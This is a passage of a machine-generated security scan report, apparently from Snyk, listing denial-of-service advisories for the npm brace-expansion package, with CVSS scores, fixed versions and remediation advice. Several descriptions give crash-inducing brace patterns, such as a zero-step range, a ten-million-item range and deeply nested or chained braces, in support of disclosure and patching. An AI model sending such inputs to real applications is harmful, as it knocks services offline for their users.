"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": 